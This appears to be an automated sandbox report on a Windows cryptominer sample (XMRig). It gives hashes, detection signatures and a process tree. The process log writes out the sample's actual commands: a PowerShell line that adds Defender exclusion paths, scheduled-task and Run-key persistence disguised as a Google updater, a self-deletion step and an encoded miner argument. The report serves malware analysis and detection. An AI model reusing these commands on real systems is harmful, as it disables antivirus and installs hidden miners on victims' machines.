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Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1494s -
max time network
1794s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2400 created 1208 2400 DLKFnAGYJBNTnxwq.exe 15 PID 2400 created 1208 2400 DLKFnAGYJBNTnxwq.exe 15 PID 2400 created 1208 2400 DLKFnAGYJBNTnxwq.exe 15 PID 2400 created 1208 2400 DLKFnAGYJBNTnxwq.exe 15 PID 2956 created 1208 2956 updater.exe 15 PID 2956 created 1208 2956 updater.exe 15 PID 2956 created 1208 2956 updater.exe 15 PID 2956 created 1208 2956 updater.exe 15 PID 772 created 1208 772 conhost.exe 15 PID 2956 created 1208 2956 updater.exe 15 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral9/memory/3052-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral9/memory/3052-137-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2608 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2956 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 568 taskeng.exe -
resource yara_rule behavioral9/memory/3052-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral9/memory/3052-137-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2956 set thread context of 772 2956 updater.exe 48 PID 2956 set thread context of 3052 2956 updater.exe 55 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe DLKFnAGYJBNTnxwq.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2632 schtasks.exe 2820 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1680 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d08eb1a03c4fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2400 DLKFnAGYJBNTnxwq.exe 2400 DLKFnAGYJBNTnxwq.exe 2696 powershell.exe 2400 DLKFnAGYJBNTnxwq.exe 2400 DLKFnAGYJBNTnxwq.exe 3024 powershell.exe 2400 DLKFnAGYJBNTnxwq.exe 2400 DLKFnAGYJBNTnxwq.exe 2400 DLKFnAGYJBNTnxwq.exe 2400 DLKFnAGYJBNTnxwq.exe 2600 powershell.exe 2956 updater.exe 2956 updater.exe 1828 powershell.exe 2956 updater.exe 2956 updater.exe 1656 powershell.exe 2956 updater.exe 2956 updater.exe 2956 updater.exe 2956 updater.exe 772 conhost.exe 772 conhost.exe 2956 updater.exe 2956 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2696 powershell.exe Token: SeDebugPrivilege 3024 powershell.exe Token: SeDebugPrivilege 2600 powershell.exe Token: SeDebugPrivilege 1828 powershell.exe Token: SeDebugPrivilege 1656 powershell.exe Token: SeDebugPrivilege 2956 updater.exe Token: SeAssignPrimaryTokenPrivilege 1680 WMIC.exe Token: SeIncreaseQuotaPrivilege 1680 WMIC.exe Token: SeSecurityPrivilege 1680 WMIC.exe Token: SeTakeOwnershipPrivilege 1680 WMIC.exe Token: SeLoadDriverPrivilege 1680 WMIC.exe Token: SeSystemtimePrivilege 1680 WMIC.exe Token: SeBackupPrivilege 1680 WMIC.exe Token: SeRestorePrivilege 1680 WMIC.exe Token: SeShutdownPrivilege 1680 WMIC.exe Token: SeSystemEnvironmentPrivilege 1680 WMIC.exe Token: SeUndockPrivilege 1680 WMIC.exe Token: SeManageVolumePrivilege 1680 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1680 WMIC.exe Token: SeIncreaseQuotaPrivilege 1680 WMIC.exe Token: SeSecurityPrivilege 1680 WMIC.exe Token: SeTakeOwnershipPrivilege 1680 WMIC.exe Token: SeLoadDriverPrivilege 1680 WMIC.exe Token: SeSystemtimePrivilege 1680 WMIC.exe Token: SeBackupPrivilege 1680 WMIC.exe Token: SeRestorePrivilege 1680 WMIC.exe Token: SeShutdownPrivilege 1680 WMIC.exe Token: SeSystemEnvironmentPrivilege 1680 WMIC.exe Token: SeUndockPrivilege 1680 WMIC.exe Token: SeManageVolumePrivilege 1680 WMIC.exe Token: SeLockMemoryPrivilege 3052 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3024 wrote to memory of 2632 3024 powershell.exe 32 PID 3024 wrote to memory of 2632 3024 powershell.exe 32 PID 3024 wrote to memory of 2632 3024 powershell.exe 32 PID 2608 wrote to memory of 1460 2608 cmd.exe 37 PID 2608 wrote to memory of 1460 2608 cmd.exe 37 PID 2608 wrote to memory of 1460 2608 cmd.exe 37 PID 2600 wrote to memory of 548 2600 powershell.exe 38 PID 2600 wrote to memory of 548 2600 powershell.exe 38 PID 2600 wrote to memory of 548 2600 powershell.exe 38 PID 568 wrote to memory of 2956 568 taskeng.exe 40 PID 568 wrote to memory of 2956 568 taskeng.exe 40 PID 568 wrote to memory of 2956 568 taskeng.exe 40 PID 1656 wrote to memory of 2820 1656 powershell.exe 47 PID 1656 wrote to memory of 2820 1656 powershell.exe 47 PID 1656 wrote to memory of 2820 1656 powershell.exe 47 PID 2956 wrote to memory of 772 2956 updater.exe 48 PID 1764 wrote to memory of 1680 1764 cmd.exe 53 PID 1764 wrote to memory of 1680 1764 cmd.exe 53 PID 1764 wrote to memory of 1680 1764 cmd.exe 53 PID 2956 wrote to memory of 3052 2956 updater.exe 55 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1208
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2400
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2632
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2820
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:772
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2428
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1680
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3052
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C:\Windows\system32\taskeng.exetaskeng.exe {409F7A9F-95C4-4118-80F4-958778F74988} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2956
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.6MB
MD5ebefba21ad82d199a42ed78ce0ddff3c
SHA11954431de238e671bec86e416e4f61e74226eac7
SHA256212f3113e27bb9d7090312026e22fc5d4957aeac366c5160692c5a91d0afe1da
SHA5120fa16d3d5915d6fc318d1a4ea876d5d74188b2f8ce97ae1bbf874a3ca2df282045ce164b64fc413bc367988266d85f62427b4a270a06a8f0267669dfa6a31efa
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Filesize
1.4MB
MD58a312de0a58f3e88e9f2902c295481eb
SHA1f7f124cc5c774b5de81e61c7e1773b4f0747e399
SHA256759c92ad96e82e2a4c7a7437b6718db2d06032e316ba1a563c8c92546621a6ad
SHA512ba58b1baa262020d91ff446700abd309dcb7c5ebf88e86c9735008b3f13f38cc596af2f6d579c3209dbd67683cab47e16d52669a7dc1aa3b01b073ae3c40b0b0
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5818f42048ca83d8bfbc1e75561ac0c40
SHA1bde1e715769ba2d8c860bac54323a7aa531dd0ba
SHA256615eb8c60047886ea0deae98d32f944cbd06bc96343879abf06b621b18d1a7b0
SHA512c3487065c2e2d45da7be96d98cec35a2a2ad1e62f58163b3483ce9f84c328726d447d89eea09c925b9b500651988d2dda7ae33b4226b94acef06a03e53e3d340
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Filesize
1.9MB
MD519ebc0ac0af13f24de932e1fb3245b00
SHA1109f9cc4f1fe0381595ef7b494a5655e2550bed7
SHA2565566a66f042b2d74f92dbcee273de476038f901cd48df15cbe516f9189a62884
SHA51292f981238c47c342cbd8e1ac90ffcb296c48667d92274b683f71b028123628133d0a9d12567af5b71b9ffe424f1f9be9c5b26edc44e9df10772c0fcf974c8eba